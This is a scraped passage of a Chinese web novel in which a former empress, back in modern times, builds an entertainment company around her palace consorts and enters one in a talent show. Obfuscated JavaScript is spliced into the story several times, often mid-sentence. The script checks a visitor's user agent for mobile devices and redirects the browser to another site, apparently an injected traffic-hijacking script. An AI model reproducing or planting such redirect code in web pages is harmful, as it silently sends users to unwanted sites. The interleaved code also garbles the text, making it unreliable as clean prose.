d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396418|141195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【三分钟内我要这个男人的全部资料。】 【到底是明星、网红还是coser啊，总不可能是素人吧。】 【这个男生气质真的太好了，像从古装剧里走出来的一样。】 视频中的程青厌只是一个戴着帽子的背景板，没让任何人认出来。 这大大方便了程青厌运作，视频的推荐力度逐渐加大，评论里要了解戚弥玉信息的呼声越来越高。 达到顶峰之际，程青厌用陶露的小号放出戚弥玉是琦季娱乐新签艺人的消息。 放消息的时机恰好卡在一个临界点，放早了吊不住胃口，放晚了大家等得不耐烦，很容易被其他事情吸引注意力，把戚弥玉忘了。 消息一发，立马评论无数。 【琦季？昨天好像在热搜上看到了，就是程青厌接手的公司吧。】 【不是说小作坊公司？哪里挖来这么一个大帅哥！】 【程青厌公司的人就算了吧，感觉小哥哥会去这种公司眼光属实不太好。】 【谁的公司我也不想管了，戚弥玉是吧，我这就去关注！】 与此同时，拍到江执的视频也引来了关注。由最火的凌晨五点小哥哥的视频引流，很多人看到江执也被迷住了，正要探听凌晨五点怎么有这么多帅哥，就发现他身边就是戚弥玉，两个人是同一个公司的。 【我反悔了，程青厌的公司我可能真的要追了。】 【好好的两个帅哥，怎么就瞎了眼跑去琦季。】 【哈哈哈你们看两个人前面的那个女生，不会就是程青厌吧！】 【看身高感觉真的是她……凌晨五点上班是吧，建议告压榨员工。】 程青厌给戚弥玉和江执注册了微博账号，粉丝数量以惊人的速度不断往上跳。 视频创作者是个经常拍街头路人的博主，一向没什么流量，完全没想到随手一条视频引发这么大的轰动，偷偷来微博私信程青厌：【程总，你要是觉得视频有什么不妥可以直接联系我，千万别告我侵犯隐私权。】 程青厌回复：【不会，你的视频拍得很好。】 对面这才放了心，对着不断增长视频数据，咬牙花钱购置了两个推荐位，却被告知：“您的作品已在推荐位，如还需购买，可以延长推荐时间。” 博主是个老实人，第一次自己推荐自己，还以为是平台看他视频做得好才给推荐：“延长两小时推荐位。” 程青厌不知道博主为她省了一笔钱，私信再次传来震动。 这次却不是街拍博主，而是一个节目组。 @筑梦99天：【程总你好，我是选秀综艺节目筑梦99天的选角导演。请问戚弥玉先生是贵司的签约艺人吗，我们想邀请他来参加我们的节目。】 8. 第8章 程青厌对这个综艺有点印象，原著中女主的某个舔狗男配就是从这个综艺里C位出道，成了现象级爆红流量。 不过原著重点是男女主的互动，男配的描写不多，对这个综艺也不过是提了一笔。 程青厌跟账号皮下的运营加了微信：【戚弥玉确实是我司的艺人。】 运营小姐姐：【程总，我们综艺是让年轻好看的男孩子们唱跳选秀，已经被播出平台列为S++级项目，由楠唯影视和兴茂公司共同出品。】 楠唯是界内知名的影视公司，近期在不断探索综艺的新方向。兴茂更不必说，作为国内最大的综合性金融企业，对这档选秀综艺极为看好，下了大笔投资。 有这样的噱头，筑梦99天只曝光了预案就已经在社交网络上引起热议。 她点开发来的策划案。 筑梦99天是以目前市场上没有的形式进行练习生选秀，以往的选秀节目要么唱歌要么跳舞，实力是有，但票数都掌握在导师手中，选手的技艺高超却不一定受观众喜爱。 而这款综艺极大地拉进了选手与观众的距离，所有选手的去留只由观众投的票数决定，九十九个男生都明确要挑选符合大部分年轻人审美观，最终只能留下五个最受欢迎的练习生出道组团。 程青厌很认同这种加大观众自主选择权的方案，对这个项目也很看好，却道：【谢谢，你们节目我已经了解了，请多给我一点时间考虑一下，明天给你们答复。】 她不是不想答应，只是参与这种几十个公司共同竞争的项目，不同于跟一个小导演签合同，戚弥玉的身份是一定要解决的。 他们是身穿过来的，现代社会的身份系统里根本就没有这两个人，全是黑户。 【好的。】运营小姐姐不知内情，程青厌这样的答复在成年人的场面话中基本等同拒绝。 几分钟后，运营还是忍不住又发了一条消息：【快到要公布练习生名单的日子了，这么一个名额还是有个练习生发现自己被粉丝女友劈腿了才伤心退赛的，你要尽快。贵司的戚弥玉真的很符合我们节目定位，有少年气，哪怕我看了那么一堆练习生，他都很有记忆点。】 如果不是选角导演被作妖的练习生气到了，决定选一个刚入圈没有被花花世界腐蚀的，她根本不需要在网上挑人，无数娱乐公司抢着送练习生。 这的确是个来之不易的好机会。 程青厌结束和她的聊天，脑中搜寻能将身份问题解决的办法。 她打开另一个聊天框，不像其他朋友一样有亲亲密密的备注。 她不知道这个朋友的生日，甚至连名字都不知道，只是一直喊他，小猫。 这是一个连裴云晋都不知道的人。她最好的朋友，是一个从未见过面的人。 她与他交换所有的心事，他好像总是比她成熟，能给出她最合适的意见。 对话框里还残留着程青厌穿越前给他发的消息：【小猫，如果我不回来了，不要想我。】 这条消息对他来说，到现在只过了两天，程青厌看到它却恍若隔世。 他回复了许多，问她到底怎么了。 她回到现代的第一天太鸡飞狗跳，都没来得及回复。 程青厌心中感慨自己之前的感性：【没事，我前天心情不好，乱说的。】 【小猫，我有几个朋友出生时没办户口，现在工作需要，你有什么渠道能解决这件事吗？】 【有。】他回复。 小猫对她永远都是秒回，哪怕是在程青厌深夜惊醒时，给他发去一条表情包，他也能立刻明白。 程青厌有时猜测，难道她的消息提示音在小猫的手机里跟闹钟一样吗？ 【把你朋友的姓名、出生日期和照片发给我，我去办。】 过了几分钟，他又说：【以后心情不好也不要再说那样的话了。】 程青厌笑了一下，答应道：【好。】 * 严志明做了这么久导演，带人有自己的一套方法。 他没有直接带江、戚二人去片场，而是问程青厌借了公司的隔间，让两人挑一部熟悉的电视剧。 江执在一众看不懂的服饰中发现了一个跟他们的时代相近的画面，抬抬下巴：“左边那个。” “你们喜欢看古装剧啊。”严志明点进去，“可这个是讲宫斗的，你们真的感兴趣……” 一听宫斗，江执背都坐直了：“就看这个。” 严志明边看边给他们讲解不同的画面是怎么拍出来的，他带过的新人演员多，按理说没有什么问题是答不出来的。 “摄像机为什么能把人的样貌照进去，是吸魂吗？” 严志明：“……” 他卡壳了。 严导怎么也不会想到，教新人演员还需要用到物理知识。 “这个，好像是运用的小孔成像原理……” 一集演完，他对着百度解释了半个小时，才算把一系列物理原理解释清楚了。 严志明口干舌燥：“我出去喝杯茶，你们先自己看看。” 他在接水机边上遇到程青厌，收获了前任总裁留下的上好龙井。 程青厌道：“严导，麻烦你拍张照……” 严志明下意识道：“拍照是运用了凸透镜成像，通过光的折射……” 程青厌：“？” 她有些奇怪：“严导拍完这部戏就要转行做物理老师了吗？” 严志明现在对教人有了ptsd：“不不不，我就算拍一部扑一部，扑一部拍一部，也绝对不当老师了！程总刚叫我干什么来着？” “算了，我跟你一起去看看。”程青厌脖子上挂着陶露从公司里翻箱倒柜找出来的相机，“他们身份证要换新的了，给他们俩拍张单人照。” 隔间的屏幕上依旧在放古装剧。 “你这个贱人，谁让你去勾引陛下？陛下原本要来看我，走到一半竟去了你宫中！” “贵妃娘娘息怒，陛下要来，臣妾真的拦不住啊……” 江执单手撑着下巴，一张昳丽俊美的脸上带着不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396419|141195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屑的笑：“这人和你挺像，一样会装腔作势。” 戚弥玉仿佛丝毫不生气，温和平静地说：“我倒觉得她说得没错，陛下要去哪里，不是我们能影响的。” 江执“嘁”了一声，刚要继续开口，听到脚步声，朝后看去。 见到程青厌，他笑容真了许多：“陛下。” 这一系列操作看得严志明叹为观止。 难道程总说江执演技高超，还真有一点可信度？ 除了对江执的演技增加一丝可信度以外，严志明对他们俩那种剑拔弩张的气势感到有点畏惧。 正在播放的宫斗剧，几个妃子的演技都不算好，感觉就是在念台词似的。 可他听江执和戚弥玉的对话，恍惚间感觉这两人刚从宫斗剧里走出来，随时都要为了争夺陛下今天多看了谁一眼而大打出手。 原来现在的男生对古装片也这么痴迷吗？已经到了角色扮演的地步？ 他战战兢兢，冷不丁瞥到对此习以为常连表情都没变化一下的程青厌。 严志明大为佩服。 这就是陛下吗？ 一个初入社会的女孩能压得住这两个越了解越感觉不对劲的男人，他看了都想喊声陛下。 严志明支开脑子里乱七八糟的构想，忽然道：“你们公司好像有点变化。” “什么变化？”程青厌环顾四周，“还真是，变得干净很多，空间都大了一圈。” 公司都快倒闭了，保洁阿姨早也走了。她一踏进来，四处都蒙着一层灰。 现在不仅没有灰，地板都好像在发光。 她心中有了猜想：“连姨！” 连嬷嬷从她开始谈事就消失不见了，再次出现已经不是长发古装，和公司一样焕然一新。 她的簪发成了长长的低马尾，严肃沉闷的暗色调古装也变成了一身舒适的常服。 “陛下，我见您的领地有些乱，就自作主张打扫干净了。” 程青厌沉吟着，连嬷嬷道：“若是陛下不喜，我可以将此地恢复原样。” 严志明忍不住惊到：“我来的时候还以为这公司几个星期没人来，这才几个小时你就搞得跟刚装修好一样！结果你还能恢复原样？！” 连嬷嬷没明白他在震惊什么，波澜不惊地点了点头。 “不用，你做得很好。” 程青厌完全没有不高兴，她惊讶于连嬷嬷的能力。 在古代伺候她的人太多，整理家务这样的能力丝毫不显得突出，放到现代却令无数人望尘莫及。 程青厌自己就是家务废柴，包括认识的许多年轻人，没有几个很会做家务的。 可大部分人没有能力请保姆，不愿去做也得做，常常是费心费力，成果还不让人满意。 如果连嬷嬷能向大家展示这项看起来平平无奇实则没几个人能做到的能力，让无数对此感到困扰的年轻人学习到。 程青厌给江、戚两人咔咔拍完大头照，相机对准连嬷嬷： “连姨，也该让你上镜了。” 9. 第9章 程青厌在找好的出租屋里，全程给连嬷嬷记录下整理屋子的过程。 不出一小时，一个被上任租客搞得垃圾遍地的出租屋，变得干净敞亮多了，房东看到了估计想要多加一千块租金。 程青厌会一些简单的剪辑，保留了所有的步骤，只剪去了无关的部分。 “视频账号该叫什么名字呢？” 连嬷嬷趁公司几人都在忙，麻烦闲着没事干的陶露带她去剪头发换衣服，也打听清楚了网名什么什么意思：“不如就叫连嬷嬷？” 她比了个“OK”手势，上传了连嬷嬷这个频道的第一个视频： 《一小时打扫干净三室两厅，租房打工人简单易懂的家务教程》 程青厌并不指望这种题材一下就能火，标题就简单直白，没搞什么噱头。 这种做家务的视频不同于轻松搞笑的题材，年轻人大多不爱看，再说视频时长也不讨巧，账号只能慢慢地做，希望能吸引到有做家务需求的上一辈的叔叔阿姨们，给她们贡献点播放量。 回到现代，她不可能再让连嬷嬷去伺候谁，每一个愿意追随她到这来的人都舍弃了太多，她要更多地挖掘这些人在后宫中习以为常，放到现代却能惊艳四座的能力，让他们明白自己的价值，千万不要因时代不同产生落差感。 “好了。”程青厌笑道，“嬷嬷还是跟在宫中一样能干。你们不熟悉这里的器具，午饭就让我来吧。” 程青厌的母亲在她很小时就去世了，父亲整天忙碌见不着人，她就自己学着做饭，味道也不差。 江执审视地看过整间屋子，为陛下在故乡究竟受了多少委屈感到深深地心痛。 “要是陛下还在宫中就好了，每晚几十个宫人服侍，所有宫殿都是陛下的，怎么会连一个迎接的人都没有，甚至还要陛下亲自动手。” 她自己不觉得有什么委屈，他们倒是先为她打抱不平了起来。 程青厌安慰道：“我们这里的方便之处也有很多，你们看。” 她拎着洗净的菜站在锅前，给他们演示开关火的方便：“这里的锅不需要生火，省了很多人力。弥玉，你把菜切一下。” 戚弥玉接过小白菜，一刀一刀砍得十分细致。 程青厌见过无数大厨切菜声如同交响乐，切出来的菜每一段都长度相同。 戚弥玉在古代经常以各种理由给她送美食，有时说是自己煲的汤，有时是新研究的菜色，都很符合她的胃口。 只是她还从来没有见过他做菜。 难道戚弥玉虽然看起来切菜很不熟练，其实是因为追求完美才速度这么慢？ 程青厌静观其变，动作熟练地将破好的鱼滑入锅中，各种调料一一倒下。 一截白菜切了十分钟，江执靠在门沿差点睡着，戚弥玉才道：“切好了，陛下。” 三个人看着案板上那堆大小不一、零零碎碎的白菜叶，陷入了良久的沉默。 江执：“……” “你天天去给陛下送饭，送的就是这样的东西？” 程青厌为他找了一些理由：“可能是菜刀生锈了，用着不习惯？” 江执立马道：“陛下，我怀疑他根本就不会做菜，都是由宫人帮忙做的，端到陛下面前却说是他的功劳。” 戚弥玉对着程青厌有些不知所措的眼神，转到江执脸上就成了淡淡，道：“江贵君也时常爱给陛下送些甜品，都是自己做的吗？” 江执下巴一抬：“那是当然。” “是自己洗的食材？” “当然是宫人洗的。” “是自己切的菜？” “……我切不好，宫人代劳了。” “那你做了什么？” “……我全程监督他们做甜点，火候都是我看着的，装盘后的调料也是我撒上去的。” 戚弥玉清清淡淡地提问，毫无咄咄逼人之感，可问到最后令江执理所当然的气势完全消散：“这难道……就不叫亲手为陛下做的甜点吗？” 程青厌：“……” 程青厌把他们推出厨房门外。 她将两荤两素放上桌：“我没什么钱，大家将就着吃。” 连嬷嬷的眼圈已经红了：“是我无用，对这里的东西不熟，竟然还要陛下亲自下厨受累。” 程青厌无奈：“你们在这里不用把我看得太贵重了，做个饭而已。快尝尝味道怎么样。” 几人纷纷把这辈子学会的溢美之词都用上，来赞扬她为他们做的第一顿饭。 “阿执，我们下午办银行卡，把片酬里面你的部分放到你卡里，你自己想买什么随时都可以用。” 江执皱眉：“陛下怎么这么生分，我们之间哪还要分你我？还是按以前一样，陛下将俸禄赏给我不就行了？” “新地方就按新规矩，你的东西谁也不要让碰。”程青厌不是不相信她与他们的感情，只是在感情里不要占便宜是最明智的做法。 “好吧。”江执显然暂时不能理解，闷闷不乐地说。 程青厌说了办卡流程，让他们学着自己去与生人接触，熟悉现代社会的运转。 江执手中攥着在他看来跟卡片没什么区别的东西，跟魔术师玩牌一样，在他手里简直玩出了花。 程青厌提醒道：“身份证和银行卡都是现代社会很重要的证明，可不要弄丢了。” “噢。”江执将卡片拢进袖子里。 他问：“我下午要去片场，陛下可要来看？” 程青厌正在摆弄手机：“我还有别的事。” 她连照片和记得清清楚楚的他们的生日，一起发给小猫。 不过几十分钟，小猫就将所有身份文件发了过来。 【谢谢你！】程青厌终于放下了心中一块沉甸甸的石头，连带着呼吸都轻快了几分，【之后可能还会有这样的人，□□花的钱我转给你。】 【不用。】 程青厌轻轻叹了口气，小猫永远都是这样，从来不提回报。 小猫好像无所不能，以她现在的能力，很难回报。 她决定要找机会把小猫约出来，看他需要什么，也尽最大努力帮助他。 她问戚弥玉：“你可愿去参加选秀？” 江执竖起耳朵。 戚弥玉原本含笑的眼睛微垂：“陛下要把我给别人了吗？” 程青厌一门心思都在公司事业上，没反应过来他这话什么意思：“选秀节目组的人说看中你了，问你愿不愿意去。这是个很好的机会，但肯定还是要先问清楚你的意愿。” 江执：“陛下，我不用去吧？” “你要拍戏，没时间去……少了个赚钱的机会你为什么这么高兴啊？” 她抬眼看了戚弥玉，恍然道：“选秀不是你们想的那个意思，选出来的人也不是要去侍奉谁。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396420|141195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她仔细解释了选秀的规则，“这档节目前景极好，如果能脱颖而出成功出道，你会被无数人喜欢的。” 在戚弥玉听起来，所谓选秀虽然与给陛下选侍君不同，但流程上极为相似。 海选、初选，相当于他们那时的宫人在各地挑选适龄男子，无才无德不要，容貌不俊美不要。 随后便是教习才艺，他们要时时练习，会有人监督并在暗中评判他们。这其中如果表现懒惰，或是出了品德上的差错，下次展示才艺时便没有机会再见了。 最后，就是在陛下面前呈现才艺。但选秀并非选乐师，不是才艺最好就一定能选上，最终还是要看陛下的喜好。 无数人选中最终胜出的几人，是万众瞩目，余下表现差的黯然退场，表现好但没被选上的，自然有别的好机缘等着他们。 一切的一切，就是要获得别人的喜爱。 “我愿意去参加。” 而这恰好是他最擅长的事。 * 裴家。 裴父给程晖倒了一杯茶：“程老弟，你说的什么话？青厌跟云晋关系好好的，怎么突然要退婚了呢？” 裴云晋坐在下座，嘴角抿得很紧。 程晖对这两人的态度也很复杂。 裴父是他多年好友，关系甚笃，可这些年因为这门婚事双方都很尴尬。裴家自知占了便宜，对他一直很客气。 裴父一向是个风流的，身边情人不断，程青厌提出退婚的理由在他看来就是受到点冷待就受不了了。 程晖目光如鹰：“裴涂，两个年轻人关系好不好不是我们说了算的。裴云晋已经接任兴茂CEO，想来没什么时间顾及家人，青厌最近也开始忙自己的事业，两个人很不合适啊。” 裴父急得坐直了：“青厌毕业一年了都没做什么事，怎么突然说要忙事业了？我知道肯定是云晋做错了事，我让他去赔礼道歉，以后每天抽出时间来陪青厌……” “以前倒没见你对这个准儿媳这么上心。”程晖淡淡开口，“你可能不知道，裴云晋早与我签了协议，哪怕和青厌结婚，也丝毫不能碰瑞铭的资产。” “什么？！”裴父瞪向裴云晋。 裴云晋看都没看他一眼：“程伯父，请你给青厌打个电话。” 程晖见这个在事业上遇到再大的困难都波澜不惊的后辈，表情竟极力隐忍，不由得有几分诧异。 “只要她亲口跟我说要退婚，我会答应。” 程晖拨通号码，难得地寒暄了一下：“在做什么？” 程青厌公事公办的口吻：“我给公司招了两个新艺人，目前与一个综艺节目洽谈，如果顺利很快就可以签约。另外，早上给其中一个艺人签了小成本网剧的合同，艺人已经进组，正在拍定妆照。” “这么快？”程晖对自己旗下的公司不可能不了解，很难相信女儿不过去了一天，就比过去一个月达成的业务都多，“公司的事等会再说。我最后问你一次，裴家的婚事退还是不退。” “问多少次我都会说退。” 程青厌嘴边带了冷意，仿佛透过屏幕看见了裴云晋。 “陛下，陶露姐说我们要往楠唯公司跑一趟，节目副导演想见见我。” 程青厌点点头，挂断了电话。 这不大不小的男声清亮而年轻，传进裴家。 裴云晋的手指摁在桌面上，久久难以回神。 10. 第10章 唐靛是个资深追星女孩，最爱的女明星是莫贝贝。 她听说程青厌这个恶毒女明星运用不正当手段抢了莫贝贝《花云衣》的女主角色，难忍愤怒，想要当面跟她对峙。 “小蓝，你看你看！” “滚！别再喊我小蓝！” 她把那天的经历跟闺蜜哭诉一整天，闺蜜就记住了小蓝这个称呼，嘲笑她一整天。 “什么东西？”唐靛凑过去看，“这是哪个明星，这么帅？” 她眼睛瞬间瞪大了，夺过闺蜜的手机仔细观摩：“娱乐圈没有我不认识的明星。难道是刚出道的？” 闺蜜：“这是街拍博主无意中拍到的。c站里面已经传疯了，全网都在找他到底是什么身份。这小哥哥还有个同行的，跟他是完全不同风格的帅，而且都是古装！” 唐靛看了那个同行的红衣古装小哥哥，长相是无可挑剔，可惜她更喜欢那种柔弱无害的脸，最能激起她心软。 唐靛不屑道：“还什么‘无意中拍到的’，这两个人怎么可能是素人，一看就是哪个公司要新推的明星，用这种方式先来炒一波热度。” “我还以为你喜欢这种类型的呢。” 闺蜜听她语气，讪讪收回手机。 她不知道的是，唐靛自己的屏幕上已经点开了同样标题的视频，顺着评论把其他博主拍的这个小哥哥的视频看了个遍。 还专门建了个私密收藏夹，全收藏进去，嘴边的笑意就快藏不住了。 她追的是女明星，现在再喜欢上一个男人，应该不算过分。 “所以这人到底叫什么名字？经济公司怎么还不来认领。”她喃喃道，“就算真是素人，也有身边认识的人吧，怎么感觉在这个视频之前他都没在这个世界上存在过。” 唐靛完全不清楚她脑洞大开地触及到真相，按捺不住找到很期待的选秀节目，私信： 【99，我看到c站上有个好适合来选秀的小哥哥！真的像古装剧里走出来的贵公子一样，他要参加选秀一定能爆！求你给他找来！】 【[链接]】 官博已经公布了好几组选手，每次唐靛看到喜欢的就会私信发一会疯，当成树洞使用。 没想到这次，私信窗口出现了个红点。 筑梦99天官博回复：【收到~99正在努力争取中。】 与此同时，闺蜜惊叹一声：“原来这两个人都是琦季的。琦季是什么公司，都没听过。” 琦季！ 闺蜜没有听过，紧盯着程青厌的唐靛可绝不会忘。 这可是程青厌的公司！ 唐靛立马撤回私信，却发现过了时间，没法撤回。她只能亡羊补牢：【要不你还是别争取了？？】 私信里每一个字，都像程青厌对她的嘲笑。 她竟然帮程青厌做了一波这么好的宣传。水军可是要收钱的，她是给程青厌倒贴！ 闺蜜再次惊叹一声：“小蓝又怎么了，昨天还没哭够？” 唐靛把头埋进沙发里：“呜呜呜我恨程青厌！” * 戚弥玉穿着一身运动装，任人打量。 许漳目光赞叹中带着一丝犹豫：“外形条件肯定没问题的。但是你没女朋友吧？” 这个词戚弥玉没听过，程青厌答道：“没有的。” 许漳是筑梦99天的选角导演，节目已经在海选的最后阶段，竟然闹出练习生与粉丝私联，粉丝还脚踏多船穿的丑闻。 丑闻练习生很不起眼，可这么有意思的瓜被网友们扒了出来，狠狠嘲笑一波。 他们节目还没播就流量满天飞，无数双眼睛盯着。好在许漳当机立断把那人退赛，又用热度更高选手的新闻吸引关注，这才把这事压了下去。 节目名字带了99，播出时不好少人。他干脆让手下多搜集点素人帅哥，希望能有奇效。 最起码素人总不可能私联粉丝了吧。 怀抱着美好的期待，许漳见了许多个他们选过来的、在网上照片很好看的素人帅哥。 许漳恍然大悟他们为什么是素人。 脱离了滤镜和美颜，真就没一个能看的。 管着官博的后勤小姐姐又给他推了人，他对着视频一看，就是一阵叹息：“这个倒是比之前的好看很多，就是不知道见了面长什么样。” “不是！我看得出，这个视频没有美颜，应该是原相机直拍的。” 许漳真想拍拍她的小脑瓜：“这人真要长得跟视频里一样，还能是素人吗？哪怕他上个大学，都有无数学妹给他曝光让他火了。” “那就见见吧。”许漳揉了揉这两天见太多人即将脸盲的眼睛。 …… “你上过大学吗？”许漳还是难以置信。 有时候喜从天降，反倒让人无所适从。 程青厌摇摇头：“他家里穷，学历不高。” 许漳了然地点点头，这才彻底放下心来。 “参加节目后三个月都得待在厂里，和外界联系切断，全程听从节目组的安排。”许漳简单说了下规则，“再过几天就是正式录制了，现在时间紧，就穿这套拍海报吧。” 第一次海报也称onepick图，官博已经按照顺序每天放出，让网友投票第一眼最惊艳的练习生，大致决定第一期节目的镜头往谁身上给。 官博已经发了近一半的练习生海报，投票数最高的当属一个已经出道了几个月的，演过一部偶像剧火了一把，自带热度和粉丝。 节目还没播，只要是投票高位，都是有粉丝基础的，也是前期节目会多给机会和镜头的练习生。 戚弥玉一身短袖球衣，坐在摆好的课桌上，阳光透过窗户探进来，流过他乌黑的发梢，打在指骨分明的手背上。 每个人的海报主题都是运动装，突出一个年轻有活力。 戚弥玉指尖握着笔，回头看向程青厌的瞬间，被相机拍了下来。 他透过相机的光，浮现起几年以前，她也是这样，给他安排诗书礼乐的课程，时常在下朝的间隙站在学堂最后听他弹琴。 “这张不错。”程青厌在几十张照片里指出来，“有恋爱感，看到他就好像看到女生们学生时代暗恋的校草学霸一样。” 许漳来得快走得也快，留下运营小姐姐和她对接：“这张的氛围感确实很好，我让后期修一下图，晚上发。程总先让练习生填下表。” 表指的是练习生的自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396421|141195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我介绍表。 程青厌对着表，一条条给戚弥玉解释。 身高体重之类的倒是好说，但是练习时长和表演经历—— 她毫不犹豫写下一个：0。 小姐姐没有看表，好奇地问：“程总刚才说戚弥玉没上大学，是因为家里穷吗？他看起来不像穷困家庭出身。” “只是看起来不像而已。他出生的地方连电都没有，他母亲很早去世了，父亲又是个不负责任的，从小被没有血缘关系的阿姨照顾长大，还经常被同村的兄弟姐妹欺负。”她手肘推了推戚弥玉，“是吧？” 她可是没说一句谎话。 小妾和嬷嬷跟他怎么不算没有血缘关系的阿姨呢？ 戚弥玉：“……” “是。” 电都没有？国内竟然还有这种地方？ 小姐姐一愣：“抱歉，我不知道……” 她心里很愧疚，竟然戳了别人的伤疤，看戚弥玉的眼神里充满了怜爱：“弟弟，你现在已经走出来了，以后不会再有人欺负你了。你最近要好好练习才艺，虽说粉丝们很看重外表，但没有才艺也是走不远的。有什么不懂的你来问我，我叫方铃，加你微信。” 程青厌没来得及给他们买手机，道：“我们公司管得紧，艺人的联系方式不方便透露，你直接加我的吧。” 程青厌成功得到了方玲的微信和她对于黑心老板不赞同的眼神。 方玲自觉唤起了戚弥玉不好的回忆，狂催后期，以最快的速度得到了他的海报。 【@筑梦99天：哪个小哥哥是你们学生时期最想遇到的人呢？】 文案挺短，毕竟一天发那么多条，方玲的文笔已经枯竭得差不多了。 九宫格挨个艾特完九个练习生，方玲道：“你的粉丝已经十万了？我看你的微博还是今天才注册的，难道是出bug了？” 不说方玲，就连程青厌都没想到戚弥玉账号粉丝数长得这么快！ 她在c站的营销确实起了大作用，会刷到戚弥玉视频的都是平时喜欢关注娱乐圈的年轻网友，戚弥玉这个名字在平台内疯传，许多人直接扒到微博关注了这个新注册的账号。 可是也不该这么快就涨到十万才对。 程青厌搜索#戚弥玉#词条，点开最火的那一条，这才恍然大悟。 “原来是有个粉丝数很高的博主在帮忙宣传。” 这是个追星号，追的还是莫贝贝。 程青厌之前对莫贝贝非常敌视，用小号逛微博时也会偷看她粉丝的动向。 ID为靛蓝永远不流泪的账号，她有点印象，是粉丝圈子里很有影响力的大粉。 她可能是切错了账号，在全部都是莫贝贝的消息里，发了一条【啊啊啊啊你们看这个帅哥！我一眼万年了我直接心动了，三分钟内我要这个男人的全部资料！】 关注靛蓝的人很多跟她审美一致，直接搜到了戚弥玉，评论区也是一片艾特戚弥玉的。 程青厌刷新一下评论，发现靛蓝发了个流泪猫猫头。 也不知道永不流泪的靛蓝为什么流泪了。 只是，如果她没记错的话，这个靛蓝应该就是昨天跑到她面前扔奶茶的那一位吧？ 11. 第11章 程青厌登上琦季的官方微博，正要趁热打铁宣传一波，一看主页。 粉丝：829。 这账号根本没发过几条微博，每条的点赞只有零零散散的几个，跟僵尸号没什么区别。 反倒是评论，由于她借着退圈的热度提了一次琦季，这才有不少吃瓜群众来这里打卡围观，顺便嘲讽她接下的是什么破烂公司。 程青厌深吸一口气。 琦季都创立一年多了，官方账号竟然都是这个模样，破产得不冤。 根本原因在于，父亲派过来的人根本不了解互联网思维，还用的是以往酒香不怕巷子深的老方法，不爱宣传推广，思想随着年纪一起逐渐僵化了。 这一点不仅体现在琦季，更多的是瑞铭的几个盈利最高的公司。高层长年不换，个个只想捞利益不顾公司发展，开拓了一堆看起来有利实则根本管不过来的领域，尾大不掉，与市场风向相悖，才最终将这个实业巨头拖垮。 程青厌转发了带有戚弥玉的那组照片，顺便给陶露打电话：“你在片场吗，江执拍戏还好吗？” * 江执拍戏不只是还好，是太好了。 林北意这个男主角色本就像是为他量身订造的一样，都是出身名门、桀骜不驯的性格，他只用拿出面对程青厌时变脸功夫的两三成，就能将林北意表演得绘声绘色。 严志明本是对他不报任何希望的。 新人演员，还有程青厌打了几次预防针，说镜头都没见过。 他期望的只是江执能用面瘫脸念完台词，观众能凭借美色过来贡献点播放量，别让剧组贴钱拍戏就行了。 要实在记不住台词的话，张张嘴念数字，后期配音也不是不行。 江执确实不能跟专业演员一样一字不差的记下台词，但他本色出演，而且毫不怯场，忘了的部分全都自由发挥了。 第一场，他初入学校，面对一众女生的列队欢迎。 他本该目下无尘走进去，忽视所有女生，一眼看见女主角。摄像机给出特写，让观众察觉到他第一眼见到女主就有特别的感受。 然而饰演女主的人还没找着，江执看不到女主，只看到剧本里描述的“与古时皇家园林一般富丽堂皇的学校”。 他当即皱了眉，不屑道：“这么小的地方，也称得上富丽堂皇？” 严志明：“？？？”让你拽起来，没让你拽成这样！ 道具组更是无语凝噎。 难道他们不想跟剧本里那样布置场景吗？他们有钱能搞吗？ 对于江执的超常发挥，严志明大喊一声“过”之后问：“小江，你是不是对我们的布景有些意见？” “不是。” 严志明这才松了一口气。 江执：“我是对所有东西都有些意见。” 剧本里为了体现贵族豪门的特性，什么东西都要往古代贵族身上扯。 “堪比园林的贵族学校”，是严志明好说歹说才被允许在一所普通初中的下课时间拍摄。 “学生们个个手上带着古董般的名贵饰品”，连江执耳间宝石万分之一的价值都没有。 “每个上课的老师都如同古代太子太傅一样学识渊博”，竟然连他随口报了四书五经里的一句话都接不上。 他不是看不起谁，是谁都看不起。 严志明：“……” 身为毫无威严的导演，他习惯了演员加戏改剧本、抠图换背景、哭戏用替身，再难缠的演员他都见过。 他们有的抱怨台词太多，有的说台词太难，有的吐槽饭菜难吃。 可真就没见过什么都吐槽的人。 